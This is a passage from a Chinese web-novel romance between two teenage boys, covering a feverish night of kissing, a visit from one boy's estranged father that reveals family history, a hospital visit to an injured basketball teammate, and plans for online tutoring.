“不舒服?”江淮凑过去,手背轻压在他额间。 不知道为什么,比睡之前还要烫得多。 他拧眉:“操,楚明你先醒醒。” 他越过楚明的身体去把卧室灯拍亮,跪坐回来时,看了眼楚明的脸。 眉紧蹙着,大半张都泛出不太正常的烧红,视线再聚焦些,眼尾还有颗崭新的泪滴。 “是不是吃错药了?”江淮叹气,手臂往下穿过楚明的后脖颈,把他上半身扶起来,另只手正要穿过楚明的膝弯把他整个人抱起来,楚明摇了下头,热烫的唇温落在耳垂,他用气声在呢喃:“……都不要。” “说什么梦话?”江淮垂眼看着他。 “不要……”楚明声音很轻,像被风吹走的单薄羽毛,“也不要……” 尾音落尽时,眼尾蓄积的泪珠滚落,啪嗒打在江淮轻压着他脖颈的手背。 “我们是不是交流不通?”江淮有些无奈:“或者我觉得我得先喝个几瓶才能跟上你的脑回路。” “嗯。”楚明似乎发出了一点声音。 “嗯个屁,”江淮稍作发力,把他抱了起来:“到时候一张床上倒两个,谁他妈负责!” 他跪着的腿打直,正要往床边滑去,楚明像是突然醒了,挣扎开脖颈间环着的手……江淮被这瞬间的变故整得僵住,还没反应过来楚明就撞到他的身体,他往后倒回了床上。 “你要干嘛?”江淮被砸得往上弹了一下,得亏刚才两条腿打直了,不敢想跪着被推这一下会多危险。 那他跟楚明加起来就只有两条腿了! 楚明长长地呼了一口气,他两只膝盖分别跪在江淮身体两侧,闻声很轻地“嗯?”了一声。 “这是梦话吗?”江淮没有起来,他不想挺身用腰腹去撞楚明的裆,尽管现在已经的姿势已经有些狼狈。 “不是。”楚明眼神清澈了些,他微微低了下头。 “那你要干嘛?”江淮看着他越来越近的眼睛,在想这么看会不会看出对眼,但好像并没有。楚明的眼睛很好看,水雾雾的,里面还含着一些他没注意到的侵略性。 “吻你。”楚明彻底俯低,嘴唇重地压上他的。 这一下其实对江淮来说还是很狼狈。 楚明的唇跟陨石降落地球一样,是直接往下砸的,感觉到牙齿被撞到的同时,他还感觉到自己的唇瓣被压得凹进去一团。 变形了……好像又弹回来了…… 江淮不得不承认,这次的接吻非常不错。 但现在其实并不是时候,他得尽快带楚明进医院去治治他吃错药的脑子,为了长长久久且下半辈子都有楚明这个男朋友,他得放弃现在的贪欢。 想着他用手去推楚明。 “别动,”楚明握住他的手腕,还预判精准地把他另一只手腕也攥紧,不知道哪来的力气,他把江淮手腕交叉紧紧扣到头顶,压进柔软的棉被里。 “操……”江淮傻逼似的愣住了,“你演我呢?” 回应他的是烫得能晕人的舌尖探进唇齿间—— 作者有话说:其实俩人现在状态都不太对,但……不管了! 第74章 第 74 章 “你就这么想发烧吗?”…… 好像忽然之间楚明就明白过来, 江淮回来着魔似的逮着他又是摸又是掐又是吻还是吻的是为什么。 因为心情很差,本能地,体内的低气压需要发泄的缺口和对象。 “等……”江淮被他男朋友这种过长时间的吻法激起了一点想去重测肺活量的冲动, 他用右膝轻撞了下楚明的大腿根, 示意他先停下。 不太管用。 空气进来零点一秒又被封在唇外,江淮深深地仰起头,手指收得更紧,胸口起伏频率落低又渐高, 腰腹也因发力而生出酸胀感。 …… “操, ”江淮本来想缓缓再说话,但实在憋不住,粗喘着问道:“你学过生物吗?” “嗯, ”楚明缓缓松开他的手腕,目光扫过上面的红痕时微怔。 “那你不知道感冒发烧的传播途径包含接吻吗?”江淮看着他。 “知道,”楚明看着他的脸, 很认真地说:“但……是你先的。” 十小时前那杯没喝完的水似乎进了江淮的脑子, 他后知后觉过来,“操”了一声:“真是疯到一块去了。” 楚明“嗯”了一声,要起身时脑海里晃过几分钟前自己得出的感慨, 他用还哑着的嗓子问了句:“昨天你怎么了?” “什么怎么了?”江淮还在感官回味中, 没用脑子。 “你心情不好, ”楚明偏头咳了一下, 嗓子很痛, 但他还是得说话:“为什么?” 江淮微愣:“一点往事。” “什么事?”楚明追问道。 “要听啊?”江淮见他格外较真,觉得有趣,挑了下眉,说:“求我。” “……”楚明垂眼看着他, 很无奈地叹了声气。 但要说世界上最美妙的事情之一,莫过于在对方要为难你的同一时刻,你突然发现还能精准握住他的把柄。 他很轻地抿了下唇,依旧直视着江淮的眼睛,手却垂落,滚烫如火的指尖落在他小腹,往下,轻轻挑起江淮的裤腰,探进,在他僵愣的瞬间,隔着薄薄一层布料很轻地点了一下。 江淮瞬间绷紧身体:“操……” 有反应是件无关紧要的事,但被看到并作为威胁筹码的时候,就很关紧要了! 江淮连忙攥住他的手腕,在楚明相当认真的目光威胁之下,松口,说:“没什么大事,只是想起之前解散的球队,挺烦的。” “现在的临时队,”楚明思索两秒,问:“可能也要解散是吗?” “嗯。”江淮缓缓眨了下眼:“程远小白已经确认退出,分别是身体、学业原因……” 这一点楚明很早之前就想过,他问:“你还想打吗?” “想。”江淮声音落低:“我倒是无所谓,再不济能进校队玩。只是我曾经说,以后要带他们一直打球,再去更大的球场赢球。只是现在看来,也许没有以后了。” 沉默良久,楚明轻声:“你确实值得一声江哥。” 江淮没听清:“嗯?” “没什么。”楚明眼睫轻颤,他不知道该怎么说:这件事是挺现实的。 如果他们都是专业球员,在现在这个正好的年纪,也许坚持打篮球是件顶好的事; 可惜没有这个如果,他们都只是极其寻常的十六七岁的少年,决心坚持下去那就是个路过的蚂蚁都要“踩”一脚的决定。 世界上绝大多数的事情都可以被一个词打败——“意义”,就像如果现在有人向他们抛出这个问题:“不走职业没有比赛费没有经济来源,坚持下去的意义在哪?” 几乎没有几个人能笑着回答这个问题。 想到这里楚明拧了下眉,手指本能地收紧。 “哎!”身下忽地传来异样的感觉,江淮因为想事情而勉强忽视掉的东西立刻重新充斥脑海,他骤然一僵,连忙扣紧楚明的手腕往外推:“我操了,楚明你——” “嗯?”楚明后知后觉,本来就透出绯色的脸颊更是蒙上一层薄红,他把手抽了出来。 手心撑着床单他左膝离地,要从旁翻离江淮身体的同一时刻,腹部被膝盖轻地一顶,接着江淮重重按住他左肩往右侧扳倒,天旋地转之间他被猛地按进棉被里。 楚明闷哼一声,难以忽视的昏眩感让他眼前花乱,他用手背轻地遮了下眼睛:“晕……” “你刚才不是挺威风?”江淮没敢复刻他方才的跪膝动作,关爱左膝半月板健康从他做起,所以他直接跨坐到楚明腹部,借助右膝承力,微微俯身很轻地甩开他挡眼的手,大拇指扣住他下巴,在他发烫且细腻的皮肤上揉了揉:“来,我问你。” 被压得呼吸困难,楚明调动全身力气才把上半身撑起些许:“问。” “你梦到什么了?”江淮声音偏低哑。 他的眼睛距离楚明的不过三指宽,楚明咽了下唾沫,想避开他的眼睛却被扳了回来,他沉默两秒,选择松口:“你起来,我说。” “确定?”江淮眯了下眼。 “嗯。”楚明觉得自己迟早被江淮折腾死,屈膝向后顶了下他的背:“起来,要被压死了……” “啧,”江淮笑了笑,只是借助右膝承受更多身体重量后,彻底压下去,在他唇间啄咬片刻,想深入但被拒绝,他不悦地点了下楚明的颈动脉:“张嘴。” 楚明指尖蜷起,再抵抗不住地微微仰头,迎了上去。 才潮退而去的身体反应再度被点燃,比起方才过之而无不及,敏感的神经沉进欲望池里被一点点泡软,思考速度直线下滑,在时隐时现的轻吮声中彻底沉没,片刻后脑海里只留下对方的气息,再无其他。 …… 从浴室出来,江淮掐着时间特意在客厅里多待了一会儿,估摸着差不多够了,他接了杯温水。 两口喝完他重新接满一杯,清了清沙哑的嗓子,敲开卧室门:“我进来了啊。” 轻地推开门,江淮抬眼,扫过坐在床沿已经收拾干净的楚明,见他脑袋微偏着靠在床头,“我摸一下。” 楚明把额头往他探来的手背轻轻贴去。 “好像……没那么烫了,”江淮歪了下头:“三十七左右?” 经过前几次江淮毫无准头的测温结论,楚明对他这句话持九成九的保留态度,玩笑说:“你这话按什么标准?江氏温标?” 江淮:“……” 他笑笑:“摄氏温标。” 楚明懒得跟他争论,偏过头把夹好的水银温度计抽出,滚转着看。 “多少?”江淮坐到他旁边,凑过去看。 “三十七点八。”楚明挑了下眉:“感觉好多了。” “可能发过汗,”说着江淮的目光从他搭着小毛毯的腰腹以下淡淡扫过:“会好得快些。” “……”楚明轻抿唇,不予理会地把温度计甩了甩,抬手推了他一把:“起来,我喝点药。” “空腹不能喝药吧,”江淮接过温度计放到床头柜,把飞到门边的拖鞋拎到楚明脚下:“我先给你点份外卖?” “凌晨三点你上哪点外卖?”楚明现在不得不承认自己的确把感冒传染给江淮了,后者甚至比他烧得还糊涂。 “哦,也是。”江淮顿了下:“那我给你煮点儿。” 等江淮往厨房去,楚明从衣柜里重新拿了套睡衣睡裤,准备再洗个澡。 才走出卧室就听江淮喊了一声。 “干嘛?”楚明拧眉问道。 “你家进贼了吗?”江淮疑惑地问道:“冰箱柜子里什么都没有。” 楚明:“……” 他抬手撑了下墙,这才想起前天晚上顾微他们来过一趟,他忘记补货进仓了。 “白粥你喝得下吗?”江淮待了一会儿才走出来,指尖勾了下他白里透红的脸颊。 “可以。”楚明把衣服放到小木架上,想往厨房去看一眼:“真一样都没有吗?” “嗯。”江淮拉住他,把他往浴室里推去:“等天亮出去买点。” “好。”楚明说着去够门把手。 门把手没够到但够到了江淮的腰,楚明微愣,手刚要收回来胸口就被温热的掌心往后推去,他慌忙之间用手抵住流理台台沿,才站稳江淮的吻就压了过来。 没什么侵略性的吻,柔和得像是猫舌舔水。 楚明轻轻闭上眼,要收回来的手灵活地探到他腰腹,指腹一寸寸游离一寸寸感知,绷紧的肌肉有些硬,但按压下去时皮肤却是有弹性的,光滑而细腻。 ……摸够之后楚明主动往旁边偏了些头,轻喘:“你就这么想发烧吗?” 江淮揉了揉他乌黑软顺的头发,往前又在他额间落下一吻:“不想。” “那你刚才跟我普及生物知识,”楚明看着他:“现在是要证明这其实是个谬论?” “不是。”江淮食指轻轻拨开他额间被汗湿的碎发,凑他耳边轻声:“只是实验一下。” “实验什么?”楚明没反应过来。 “味觉。”江淮问:“有尝到甜味吗?” “……一点点,”楚明回味了下:“比较淡,什么糖?” “冰糖块,唯一找到的东西。”江淮轻笑着说:“我记得发烧之后味觉比较淡,试试有多淡。” 味觉太淡喝白粥容易吐,他实验之后再决定要不要加点什么调味。 “……滚蛋。”楚明没什么力气笑,屈膝顶了下他腹部:“我要洗澡了。” “洗洗洗。”江淮手指轻勾住他裤腰,临走前在他小腹上弹了一下:“我熬粥。” 楚明:“……”- 楚明捏着勺子,往嘴里送了口白粥,确实尝不出味道,但一天没吃饭他得塞点垫垫。 艰难地塞完整碗白粥,他轻地扶额,眼神放空地长叹。 “有这么难吃?”江淮坐过去,指尖挠了挠他下巴。 “太白了,”楚明摆摆手:“吃得想吐。” “那喝点药?”江淮问。 楚明:“……” 他微微抬眼,扫过江淮真诚的脸,冷脸半秒后轻地一笑:“我服了你了。” “啧,要什么?直接跟我说。”江淮反思一遍觉得确实牛头不对马嘴,立刻改变说辞。 “不用,”楚明摆手:“你自己先弄点药吃,别加重。” “嗯。”江淮应道。 江淮把药箱搬来,里面掺了些楚明新拿回来的药,他随手抽出包颗粒药去找主治症状。 “我能说我没什么感觉吗?”他晃了晃药盒,可怜的小药包在看不见的地方七颠八倒。 “不能,”楚明从里面抽出两包,分别倒进一次性杯子,转身去接水。 江淮看他弯腰接水,问道:“你现在很难受吗?” “嗯?还好,”楚明走回来,抽出根筷子搅散,吸了下鼻子:“昨天要难受一些。” 说着他低头,喝了一口,不算烫能直接入口,他把杯子转递给江淮:“喝了。” “哦。”江淮一口闷了,闷完他拧着眉咂摸了两下:“靠,是不是没搅散?” “是吗?”楚明在搅自己那杯,闻声多搅了搅。 “嗯,”江淮感觉舌尖喉间沙沙的很难受,转身去接了杯清水,他喝了口才说:“我第一次见发烧变傻的。” 楚明笑笑:“我也是。”—— 作者有话说:这么浪啊…… (老夫)掐指一算:发烧这件事,小江你也得中招[愤怒] 第75章 第 75 章 “不止,我是他男朋友。…… 凌晨四点, 两人双双回床。 “定了十点的闹钟,”江淮打了个哈欠,丢掉手机之后挪进被窝去抱楚明:“困死了。” “这种药是挺催眠的。”楚明伸手把灯拍灭, 也睡了进去。 也许单纯的药效, 也许不太单纯的“累着了”,总之一夜无梦。 不知道几点,屋内光线依旧昏暗,江淮醒了一次, 原因无他, 水喝多了…… 他艰难地和被窝外的冷空气做了两秒的抗争,压着中央掀开一小角棉被,坐起来往厕所去了一趟。 还在洗手, 耳朵捕捉到两次沉闷的敲门声,他轻顿,甩掉手指上的水渍, 走去开门。 猫眼外是个身形高大的男人, 带着顶黑色毛绒帽,下半张脸逆光,看不真切。 见没开门, 男人还说了句:“阿明, 是我。” 江淮扭头扫过智能表上的时间, 早上七点四十, 他轻顿, 开了门。 “阿明,我——” 楚辉誉的话戛然而止,他怔怔地看着眼前有过一二三面之缘的男生,愣住:“你是?” “江淮, 楚明还在睡。” “哦哦,”楚辉誉把手缩回一些:“嗯……那我能进去等会儿他吗?” 江淮不觉得他有什么危险性:“进。” “哎,谢谢谢谢。”楚辉誉点点头。 把门大打开的时候,江淮才注意到他还提着两大袋东西,其中一袋是水果,另一袋是……蔬菜。 察觉到他的视线,楚辉誉笑着解释:“那天我们来阿明这儿吃饭,食材用光了,我今天来恰好补上。” 原来如此,江淮把门带上:“哦。” 等楚辉誉把菜放进冰箱的间隙,江淮去把卧室门轻手轻脚地关好,抽出两只纸杯倒了两杯水。 余光注意到餐桌上新放的茶叶,他轻挑了下眉:“您要喝吗?” “不,不是,”楚辉誉摆摆手:“我看阿明家里都没放什么饮品,就带了点过来。” 江淮松散地靠着墙壁,目光又缓慢带过袋子里的水果,啧了一声:“楚明是你们亲生的吗?” 楚辉誉动作明显僵住,土豆啪嗒掉到地上,他愣了两秒才弯腰捡起:“什么?” 江淮无奈地说:“您不经吓还是土豆不经吓?” “不好意思,没拿稳。”楚辉誉弯腰用纸巾擦了擦地面,才继续装土豆:“你刚刚说那些……” “夸张。”江淮怕他又摔死一颗土豆,谨言慎行:“您买的水果里有楚明的过敏源。” “啊?”楚辉誉快步走到水果袋面前:“是什么?我马上拿出去。” 江淮抿了下唇:“……芒果。” “抱歉,我不太清楚。”楚辉誉把一袋大芒果和一盒芒果果切尽数拿出,“我现在就放出去。” “嗯。”江淮拧眉。 等楚辉誉把果蔬尽数收拾完毕,江淮让他去沙发坐。 “他一般多久起床?”楚辉誉坐了会儿,开口问:“阿明学习好,应该很自律,我以为他一般情况下六七点就醒了,才来得比较早。” 江淮坐在他旁边,神色很淡:“您说的,一般是极端情况。” 楚辉誉:“……” 他搓了搓手:“抱歉啊,我和他太长时间没见,有些记忆还停留在很早以前。” “七八年是有点久了。”江淮想起楚明说的那些话,点了下头。 当然也是这时候,他才突然想起楚明骗了他,说好的跟他讲他做的梦,讲了个屁! 美色误人啊…… 楚辉誉脸色僵住:“他告诉过你啊。” “嗯,”江淮微偏了下头,他妈不是都看出他俩有一腿他爸怎么反倒像个呆瓜:“不然还得近到什么关系才能说?” “啊……”楚辉誉呆滞片刻,孤疑地问道:“你们俩现在是什么关系?” “你以为呢?”江淮反问道。 “朋友。”楚辉誉说了进屋以来最自然的一句话。 江淮说:“不止,我是他男朋友。” “啊?你们俩还……还真的是啊?”楚辉誉震惊了一瞬:“我以为是她故意说的。” 江淮轻顿:“什么意思?” 楚辉誉捧过纸杯,里面的水已经凉透了,他却不在意地猛地灌了几口,试探着张了好几次嘴,许是方才江淮那句“我是他男朋友”给了他充分的述说的理由,他垂下眼皮,叹气后说:“微姐她,不是很喜欢阿明。” “等等,”江淮听到这句称呼,有些郁闷,像是突然想起早已离开许久的魏天,又连带着想起那天他爸车里冷不丁的一句“不像正缘”,他顿了下才开口:“你们俩,现在是什么关系?” 好熟悉的一句话,楚辉誉想了两秒:“有结婚证的关系。” 江淮直觉这里面有点故事,但他只关心楚明,其余不想了解:“明白了,合法夫妻。她不喜欢楚明,有原因吗?” 楚辉誉:“……有。” 江淮轻顿:“说。” “呃……”说来奇怪,被眼前男生的眼睛紧紧盯着的时候,楚辉誉会不自觉地按着他的话走,原本没有打算告知的,但还是脱了口:“微姐原本更想要生个女儿,但第一胎是男孩。” 江淮拧了下眉:“怎么,他妈小时候家里重男轻女吗?” “你……”楚辉誉眼睛都睁圆了:“你猜得好准。” 江淮对他的夸赞无感,只是扫了一眼他的脸,确实要比三十岁男人平均颜值高得多得多:“所以她选你结婚,是为了生个漂亮点的女儿?” 楚辉誉依旧震惊地看着他:“你……” “看来说对了,”江淮很无奈地叹了声气。 说来烦躁,近些天他看到的听到的现在一股脑全在沸腾,事情也好态度也罢,反正脑子里综合着自动生出逻辑链条的时候,他有种不太想事情是这样的无力感:“他妈小时候是被虐待过吗?” “是,”楚辉誉惊讶地说着:“但具体我太不清楚,她没跟我细讲过。” 江淮冷声问:“他妈妈,姓楚?” 楚辉誉:“以前是,但改姓了,姓顾。” 这样的话,全部就通了,江淮往前俯身,手背平托着下颌,沉沉地叹出一口气。 难怪楚明梦里要说那句“都不要”,看来不论是被他爸妈养的那几年还是被他爷爷奶奶养的那几年,都不怎么样…… “那你今天偷偷出来找楚明,是要干嘛?”江淮有些疲累地问道。 楚辉誉声音都昂扬了:“你怎么知道我偷偷出来?” “别管。”江淮都不想说他时不时把手机看一眼的动作有多明显多不自然,没管自己沉重的心脏,看似轻巧地说出自己的最终猜测:“是来跟楚明说想离婚的事吗?” 话落,楚辉誉噌地摔下沙发!屁股着地坐在了地毯上,眼里是止不住的震撼:“你!你怎么……” 江淮闭上眼睛,强行压下烦躁的心情,声音尽量平和:“你离婚应该挺容易的。” “为什么?”楚辉誉可不觉得容易,反倒觉得难如登天。 江淮拧眉,斜他一眼:“你们怎么结的婚?” “直接扯证啊,”楚辉誉像是抓住救命稻草,毫无保留地向他诉说:“我以前就是做陪酒或是陪那什么的,她和我见过几面就直接扯证了。” 江淮不想再听,直接打断:“知道为什么吗?” “可能我当时颜值还行。”楚辉誉苦笑着说。 江淮直白地说:“因为你姓楚。” 楚辉誉整条手臂都在发颤,声音也跟着哆嗦起来:“什、什……” “请回吧,”江淮下了逐客令。 不记得楚辉誉是横着竖着还是斜着出的门,江淮只记得自己从沙发回卧室的路程好像有点远。 轻轻推开门,床上棉被微微耸起一条人,并不明显——楚明喜欢平躺着睡,还是睡十小时睡姿雷打不动的那类人。 走到床边,江淮轻地垂眼,目光淡淡地停留在他轻蹙着的眉,俯身,嘴唇很轻地压在他眉心。 还是睡得那么沉。 江淮从眉心一路向下吻到他的鼻尖,要落到他唇瓣时,楚明依旧是毫无反应,像尊任人摆弄的雕塑。 “啧,”江淮指尖轻地压平他眉心的小褶,手心撑在他身侧翻到他身边躺下。被窝里依旧暖暖的,他凑过去,下巴搁在楚明肩窝里时,掌心包裹住他侧腰皮肤,凑过去些贴得更紧。 他阖眼,在楚明耳边轻声:“小可怜儿。”- “咳……”楚明脑袋探出床猛地咳了两声,正要下床找水杯子就递到手边,他咬住杯沿,微仰着头喝了两口。 “嗓子不舒服?”江淮抹掉他嘴角的水渍。 楚明点了下头,酝酿了一会儿才出声:“你没事?” 声音哑得要命。 “少说话,”江淮伸手捂他的嘴,单腿跪到床上让他靠在自己胸口:“我屁事没有。” 楚明嘴角扬了一下,伸手给他竖了个大拇指。 江淮微笑着:“我煮了皮蛋瘦肉粥,要不要吃?” “嗯。”楚明点了下头。 “那我抱你去洗漱,”江淮说着把水杯放到旁边,手臂环过他膝弯把他轻松抱了起来,走的时候拧了下眉:“你喝了多少水?” 楚明脑袋磕了下他胸口,以示疑惑:“嗯?” 江淮笑说:“重死了。” 楚明:“……” 他没再管嗓子哑不哑喉咙痛不痛,憋不住地说:“我能抱两个你。” “是吗?”江淮啧了一声:“那你快点好,我等你来抱。” 楚明拧了下眉,总觉得江淮有点怪,就跟被鬼上身了似的,还甘愿被他公主抱,他不禁问道:“确定?” “嗯。”江淮挑了下眉:“到时候我再抱点铁,压垮你。” 楚明:“……”病号不能跟江淮待太久,容易气急攻心。 皮蛋瘦肉粥比起几小时前吃的白粥,简直仙品。 楚明连吃几口才停下来说话,喉咙被润过会比刚睡醒那会儿要好得多,他问:“你还去买菜了?” “恰好有人跑腿。”江淮半真半假地说着,凑过去:“我尝一口。” “你自己煮好都不馋吗?”楚明轻笑着舀了一勺,多肉那种,轻轻送到他嘴里。 江淮咬住叼走,咽下后才把勺子放回楚明手里,说:“味道不太一样。” “是不一样,”楚明晃了晃勺子:“全是感冒病毒。” 江淮:“……” 饭后江淮去清碗,楚明则看着药包泡了杯冲剂,又拿了点消炎药和润喉糖,坐到沙发边等放温后再喝。 等待的间隙,他淡淡看过茶几上摆开的装盒的果切,像是察觉到什么,他偏头,往门口扫了一眼。 “看什么?”江淮边擦手边往沙发走来。 楚明双手捧着纸杯,热气缭绕里是难闻的药味,他抿了一口,去摸胶囊的时候,很轻地问了句:“家里来过人?” 江淮眉梢轻挑:“怎么猜到的?” “挺明显的,”楚明快速吃完药喝完冲剂,拧眉去够清水,说:“谁啊?” “你爸。”江淮坐到他旁边。 “嗯……”清水把嘴里的药味冲淡,楚明这才轻舒气。他拿过一盒果切,戳了块蜜橘:“他来有留话吗?” “你希望有吗?”江淮往后仰去,靠窝在沙发里。 “无所谓,”蜜橘挺甜的,楚明又多戳了一块,轻笑着去喂给江淮。 江淮咬住。 “话是不是都让你套出来了?”楚明单手撑在他耳边,垂眼,目光从他的唇移到眼睛:“嗯?” 还没咽完,江淮含混不清地说:“差不多吧。” 说话间带出一股淡淡的果香,楚明抬手,指尖轻擦过他嘴角,说:“难怪呢,起床之后你挺怪的。” “很明显?”江淮愣了下。 “嗯,”楚明手背贴上他额头,又贴了贴自己的:“我差点以为你也发烧了。” 江淮:“……” “其实我也许没有你想的那么可怜,”楚明抱住他,回忆起今早江淮始终小心翼翼的动作,那份比起平时更轻更缓的谨慎,就像是在碰什么易碎品。 他在江淮耳边轻声说:“我和他们必然是会有一天,彼此都意识到自己首先是独立的个体而后才是彼此之间具有先天性联系的家人。” 顾微经历的事情他或多或少能从爷爷奶奶那里感受到,很无奈,人决定不了自己的出生……他确实有一个不太寻常的家庭,也很抱歉他才出现就成了顾微心里的芥蒂。 但好像也没有那么糟糕,他并非被禁锢而是被释放,早早地离开顾微,彼此都放过对方; 爷爷奶奶对他也还好,虽说后面因为顾微日渐减少的经济支持关系有所变异,可他在高一的时候也和他们保持了距离……他更多活成了不同于这两方的模样,无疑归功于这片比较空白的生活环境。 “是吗?”江淮拍了拍他后背。 “是,”楚明紧紧地环住他,鼻尖凑到他颈侧嗅了嗅:“怎么闻不到?” “闻到什么?”江淮微愣。 “我记得你挺香的。”楚明小声地说了句。 “啧,”江淮偏了偏头,压到他颈侧闻:“我闻得到。” 楚明很轻地叹气:“那我应该是发烧后嗅觉淡了。” “喉咙痛吗?”江淮往后仰了些头,指腹按在他喉结,上下扫滑着:“这里是肿的吗?” “还好,”楚明吞咽了两次:“怎么?” “我在想能不能吃点辣吃点什么刺激刺激。”江淮认真地说。 楚明:“……” 他扫开江淮的手,稍显无奈:“我还是安生着吧,晚点还要给秦苗他们讲题。” “嗯?”江淮听到其他人的名字,拧了下眉:“今晚?” “是,”楚明坐回去,捡起那板润喉糖晃了晃:“不过是通视频,我怕带病去传染给他们。” 江淮搓了个响指:“真是敬业。” “不得不敬,”楚明很淡地笑了笑,没有这份家教,他或许还没有那么多的底气。 这两天事情不多但乱,作息简直昼夜颠倒。 才吃没一会儿就到午饭时间,为了调整好作息,他俩特意吃了顿饭,饭后楚明吃完药窝进床里补觉,江淮则是去了趟医院。 “还行,”严越简单交代完情况,说:“反正比你当初看着像个人。” 江淮:“……” 跟着严越进到病房,江淮扫了眼床上竖直躺平的程远,轻挑眉:“都上支具了?” 严越给他后背来了一拳:听着多损呐! “江哥,”程远抬起头来,看着他苦笑一声:“说是还得戴一段时间,睡觉都不能取。” 江淮不需要他的这段科普,站在床边看了两眼他左膝上的铰链式支具,轻顿:“怎么感觉没调好?” 程远皱眉:“好像是有点儿,时不时往下滑。” “应该是q角没调好。”江淮把拎着的零食放到柜子上,用脚勾来椅子,抬手去调支具:“我试试。” 等拆下支具,江淮朝他膝盖扫了一眼,接着垂眼开始翻折调整。 严越抽出张纸胡乱往苹果上一抹,咔嚓咬了一大口,走过来边嚼边看,良久他“啧”了声:“江哥,你看着比刚才来的护士姐姐还专业,这服务好啊。” 江淮斜他一眼:“你去摔条腿,我给你服务。” “那不了,那不了,”严越损到为止,坐到床沿又啃一口苹果,细致地看去。 “这苹果闻着好酸,”程远鼻子耸了耸,抗拒地往后挪了半步,“越哥你没感觉吗?” “酸吗?”严越摇摇头:“没感觉。” 江淮调整好后起身把支具往他腿上套,系绑带时轻声说:“你又不是不知道他吃酸不吃甜,白问。” “我这不是没话说了嘛。”程远笑笑。 “起来,”把大腿处的绑好,江淮拍了下床板,示意程远下床:“严越你来。” “干嘛?”严越叼着半块苹果。 江淮从他嘴里取下半块苹果,有些无语:“绑。” “……”严越表示做江淮兄弟就这么无语!刚想骂人,才注意到剩余需要系绑带的位置在程远小腿腿肚,江淮得蹲得比较深。 他顿了一秒,恍然:“啊我来我来。” 术后开始佩戴支具,基本便没什么大碍,而余下的便是长时间的康复。 跟程远妈妈简单交流两句之后,江淮和严越就离开了病房。 “心情还好吗?”严越问。 “还行,”站在医院走廊,两侧或敞或闭的病房门里传出各种千奇百怪的动静,江淮目视前方:“我当初受伤,你心情如何?” “总不能是开心吧,你这问的纯属废话。”严越笑笑:“不过当初确实还郁闷过一段时间,害怕哪天我摔倒一次也永远站不起来了。” 江淮眼睫轻垂,身体很细微地僵了一下。 严越用手肘带了他一下:“不过看到你后来站起来甚至重回球场,我又挺有安全感的。毕竟你开了个好头,就算我伤了,也至少能恢复成你这副样子,是吧?因为我起码比你听医嘱。” 江淮:“……” 他无奈地笑了笑:“我也没那么不听。” “是啊是啊,谁人不知谁人不晓江小少爷腿断了还能篮球场上投三分呢。”严越放肆地笑起来。 “滚蛋,”江淮给了他一脚:“我只是试试行不行。” “嗯,我知道,你有理。”严越轻咳一声,严肃了些:“不过说真的,我好像听懂你刚才话里的意思了。” “是吗?”江淮挑眉。 “嗯,有你那次受伤的铺垫,程远这次伤到腿我倒没有那么害怕,”严越说:“就像这次,总不会比上次七零八落的解散更糟糕,是吧?” 江淮垂眼,很轻地“嗯”了一声。 “那就别多想,等事情自己往前走。”严越拍拍他的肩,稍作沉默后表情严肃了一些:“对了,我下半学期吧,估计也不会再当队长了。” “嗯?”江淮看向他。 “自由点儿。”严越长呼气:“就是忽然想多打点自由球,像你这样。” 江淮默了两秒:“决定了?” “不然我跟你说个屁,”严越笑了笑:“具体的到时候再看看吧,反正乱七八糟一堆事。放心,我肯定比你遭的罪要少。诶?你家男朋友呢?怎么又没见到人?” 江淮敏锐地扫他一眼:“你见他干嘛?” 严越:“……” 他咬牙切齿:你看看,这就是做兄弟的! “他发烧,”江淮逗完一句后正经了些:“在睡觉。” “严重吗?”严越半秒内极速放松牙齿,皱眉:“他身体不是很好吗?我操,我挺担心他是那种十年不生病生病养十年的体质。” 江淮轻顿:“……也不至于。” “反正你心里有数就行。”严越和他来了个经典分别姿势——击掌,“你照顾他去吧,反正我这里安慰不到你,但楚明他绝对能安抚到你心里。” 江淮对他这些浑话都有抗体了:“走了。” “再见,”严越停在台阶上,等江淮走出两步,他突然吹了声口哨。 江淮转过头来,额前碎发被带得凌乱,他看着严越两指并拢朝天一指,轻挑眉:“犯病了?” “滚蛋,”严越又滑指了一下:“叫你一声江哥!” “嗯。”江淮轻颔首,转身利落地走了- 江淮才推开门,就闻到一股浓郁的饭菜香气。 “都能下地了?”他挑了下眉,有种心情瞬间达到高点的舒畅。 楚明一时语塞,抽出两副筷子拉开椅子坐下时,没好气地说了句:“我是得什么绝症吗还下不了地!” “别说这种废话啊,”江淮笑着警告他,飞身快速洗完手,他坐到餐桌前:“嗯!好香。” “闻不到,”楚明鼻音偏重,音色微沉,“你尝尝咸淡。” “等会儿,”江淮先是抬手碰了碰他额头:“温度是不是降了?” “是,”除去难以忽视的鼻音,楚明基本没剩什么其他的感冒症状,他点了下头:“今晚再吃点药,明天差不多能好。” “这么快?”江淮忽地生出一股罪恶的不舍。 楚明:“……” 他拍开江淮的手:“怎么,不想我好吗?” “不是,”江淮愉快地笑了笑,“只是觉得你发烧的时候,会格外的乖。” 楚明:“……” 饭后江淮去清碗的时候,楚明进到卧室拿出三套试卷和草稿纸,坐在沙发前慢慢地给手机摄像头调好角度。 “你等会回房间玩儿吧,”楚明坐着在看题,余光瞥见江淮走出来,他轻声:“你手机和一些试卷都在书桌上。” “你这声音能行吗?”江淮看着他。 说一两句还好,沙哑低沉性感得要死;说多了之后听感虽然依旧很不错,但对嗓子肯定不好…… “所以我会开视频记过程,”楚明灵活地转了圈手里的笔。 江淮拧了下眉,他发现自己心底好像还是有点儿没由来的不爽。 “怎么?”楚明仰头看着他,微微笑道:“打个视频还要吃醋?” 啧,经他这话一点拨,江淮瞬间明白过来自己哪点不爽了,他一点儿也不想让别人看到楚明这副样子。他抬手轻地揉了两把楚明的头发:“是。” 楚明:“……” “你们只是讲题,是吗?”江淮问了句。 以为他退了一步,楚明欣慰不已:“是,只是讲点儿错题和难题。” 江淮点了下头:“那我替你讲。” 楚明一愣:“什么?” “我说我替你讲,”江淮找到正解般,一屁股坐到地毯上,接过他手里的笔,撸起袖子作势就要开始看题:“跟我说说有哪些要讲。” 楚明默然,半秒之后他微微抬手:“红笔勾了题号的,都是。” 十分钟的备课时间里,“江老师”还在冥思苦想奋笔疾书。 楚明轻叹气后,挺愉快地接受了这个提议,如果只是写一段过程,他存在的价值也不大,还不如让江淮发挥……只是在此之前他得给两位学生做点铺垫。 【Cming】我嗓子不太舒服,换个人跟你们讲可以吗? 【秦苗】可以可以,小楚哥你注意休息,天冷多加衣服,有不舒服记得及时看病吃药。 【秦禾】ok。 【Cming】另外这位老师脾气有点不好,你们稍加担待。 